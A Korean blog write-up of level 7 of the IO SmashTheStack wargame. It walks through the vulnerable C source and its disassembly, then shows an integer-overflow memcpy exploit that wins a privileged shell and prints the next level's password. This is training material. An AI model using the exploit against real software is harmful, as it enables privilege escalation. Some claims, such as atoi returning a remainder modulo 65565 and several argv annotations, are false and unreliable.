본문 바로가기
스터디/wargames

[BOF-Wargames] IO SmashTheStack Level7 문제풀이

by 깝태 2011. 8. 15.


IO 워게임 레벨 7 문제풀이를 진행하도록 하겠습니다.

level7@io:~$ cd /levels

level7@io:/levels$ ./level07
Segmentation fault

이번 문제 또한 실행하면 세그멘테이션 폴트가 뜹니다.

level7@io:/levels$ cat level07.c
//written by bla
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char **argv)
{
        int count = atoi(argv[1]); // argv[1] 을 문자열 정수형으로 변환한다.
        int buf[10];
(EBP+12) +4 => argv[1] , 

        if(count >= 10 ) // count 가 10보다 커버리면 프로그램이 종료됩니다.
                return 1;

        memcpy(buf, argv[2], count * sizeof(int)); // argv[2] 의 내용을 count * sizeof(int) 만큼 buf 에 복사한다.
// 버퍼 오버플로우 취약점이 존재한다.
// argv[2] 에 buf ~ count 까지 모두 덮는값을 넣으면 된다.

        if(count == 0x574f4c46) {
                printf("WIN!\n");
                execl("/bin/sh", "sh" ,NULL); // count 가 0x574f4c46 일 경우 쉘 획득
        } else
                printf("Not today son\n"); // 아닐경우 Not today son 문자열을 출력한다. (실패)

        return 0;
}

level7@io:/levels$ ./level07 aa
Not today son

level7@io:/levels$ ./level07 aa bb
Not today son

이 문제 역시 버퍼 오버플로우 취약점이 존재하는 문제입니다.
일단 소스에 대해 살펴보고 GDB 로 중요한점만 짚고 넘어가겠습니다.

(gdb) disas main
Dump of assembler code for function main:
0x08048414 <main+0>:    push   %ebp
0x08048415 <main+1>:    mov    %esp,%ebp // 프롤로그
0x08048417 <main+3>:    sub    $0x68,%esp // 104 바이트 공간 생성
0x0804841a <main+6>:    and    $0xfffffff0,%esp
0x0804841d <main+9>:    mov    $0x0,%eax
0x08048422 <main+14>:   sub    %eax,%esp // ESP 에 EAX 만큼 공간 생성

0x08048424 <main+16>:   mov    0xc(%ebp),%eax // (EBP+12) -> argv[0]
0x08048427 <main+19>:   add    $0x4,%eax // EAX+4 -> argv[1] 의 시작주소
0x0804842a <main+22>:   mov    (%eax),%eax // EAX 에 EAX 복사
0x0804842c <main+24>:   mov    %eax,(%esp) // ESP 에 EAX 를 인자로 넘겨준다.
0x0804842f <main+27>:   call   0x8048354 <atoi@plt>
// int count = atoi(argv[1]);

0x08048434 <main+32>:   mov    %eax,-0xc(%ebp) // (EBP-12) 에 EAX 값 복사 - EAX 에 argv[1] 있음
0x08048437 <main+35>:   cmpl   $0x9,-0xc(%ebp) // (EBP-12) 와 9(10) 비교 - argv[1] 과 10 비교
0x0804843b <main+39>:   jle    0x8048446 <main+50> // 참일경우 점프
0x0804843d <main+41>:   movl   $0x1,-0x4c(%ebp) // (EBP-76) 에 1 값 복사
0x08048444 <main+48>:   jmp    0x80484ad <main+153> // 거짓일경우 점프

0x08048446 <main+50>:   mov    -0xc(%ebp),%eax // EAX 에 (EBP-12) 값 복사 - EAX, (EBP-12) 에는 argv[1]이 있다.
0x08048449 <main+53>:   shl    $0x2,%eax //
0x0804844c <main+56>:   mov    %eax,0x8(%esp) 
0x08048450 <main+60>:   mov    0xc(%ebp),%eax // EAX 에 (EBP+12) 값 복사 - argv[0] 값 복사
0x08048453 <main+63>:   add    $0x8,%eax // EAX + 8 - argv[1] 값 복사
0x08048456 <main+66>:   mov    (%eax),%eax // EAX 에 EAX 값 복사
0x08048458 <main+68>:   mov    %eax,0x4(%esp) // (ESP+4) 에 EAX 값 복사
0x0804845c <main+72>:   lea    -0x48(%ebp),%eax // EAX 에 (EBP-72) 주소 값 복사
0x0804845f <main+75>:   mov    %eax,(%esp) // ESP 에 EAX 값 복사
0x08048462 <main+78>:   call   0x8048334 <memcpy@plt>
//memcpy(buf, argv[2], count * sizeof(int)); 

0x08048467 <main+83>:   cmpl   $0x574f4c46,-0xc(%ebp)
0x0804846e <main+90>:   jne    0x804849a <main+134>
0x08048470 <main+92>:   movl   $0x8048584,(%esp)
0x08048477 <main+99>:   call   0x8048344 <printf@plt>
0x0804847c <main+104>:  movl   $0x0,0x8(%esp)
0x08048484 <main+112>:  movl   $0x804858a,0x4(%esp)
0x0804848c <main+120>:  movl   $0x804858d,(%esp)
0x08048493 <main+127>:  call   0x8048324 <execl@plt>
0x08048498 <main+132>:  jmp    0x80484a6 <main+146>
0x0804849a <main+134>:  movl   $0x8048595,(%esp)
0x080484a1 <main+141>:  call   0x8048344 <printf@plt>
0x080484a6 <main+146>:  movl   $0x0,-0x4c(%ebp)

0x080484ad <main+153>:  mov    -0x4c(%ebp),%eax 
0x080484b0 <main+156>:  leave
0x080484b1 <main+157>:  ret
End of assembler dump.

GDB 로 다 보고나니 이제 메모리 구조를 확인해보겠습니다.

| EBP-72 | EBP-12 | SFP | BUF
| BUF | COUNT |

Buf ~ Count 까지 모두 덮으려면 64 바이트를 덮어줘야 합니다. 그렇기때문에 소스를 다시 보면

memcpy(buf, argv[2], count * sizeof(int)); 에서 count * sizeof(int) 이 부분이 64 가 되야합니다.
그러면 count 의 값은 16이 되야합니다. 이제 memcpy 세 번째 인자로, count, argv[1] 로 전달해줄것만 찾으면 된다.

위 함수에서 세 번쨰 인자의 자료형인 size_t 이것은 unsigned int 형과 동일하다고 한다.
즉, 부호가 없는 int 형 정수 범위 0 ~ 4294967295 가 된다. 그런데 양수로 하면 당연히 소용이 없으니
음수로 한번 전달해줘보았다. 그랬더니 값이 변환되 출력되는것이었다.

-1
4294967295

-2
4294967294

-3
4294967293

-4
4294967292

-5
4294967291

-6
4294967290

-4294967232 
64

위와 같은 최종적으로 -4294967232 가 64 가 되는것이었다.
근데 또 문제에 부닥쳤다. 바로 int count = atoi(argv[1]); 때문이다. 앞서 말했듯이
atoi 함수의 특이한점이 있다.

바로 atoi 함수의 범위, int 형 정수의 범위를 넘어서면 65565 로 나눈 나머지를 리턴한다는 것이었다.
그 점을 생각하면 -2147483648 ~ 2147483647 이 범위를 넘어서는 값을 넣을 수 없다는것이다.

그런데 또 다른 사실을 발견하였다.
count * sizeof(int));  이 부분을 보면 그 사실을 알 수 있을것이다

count X sizeof(int) == 4 가 되므로 계산할때 count 에 4가 곱해진값이 계산된다는것으로 알수있다.
그러니깐 -4294967232 이 값을 4로 나눈값을 리턴시켜주면 된다. 모두들 이해됬을거라 생각한다.
4로 나누면 -1073741808 이다.

그러면 모두 구성하였으니 한번 값을 전달해보자

level7@io:/levels$ ./level07 -1073741808 `python -c 'print "\x90"*60 + "\x46\x4c\x4f\x57"'`
WIN!

sh-4.1$ id
uid=1007(level7) gid=1007(level7) euid=1008(level8) groups=1008(level8),1007(level7),1029(nosu)

sh-4.1$ cat /home/level8/.pass
M0OkIiWAepyb

성공적으로 권한을 획득하였고 정답이 떴다.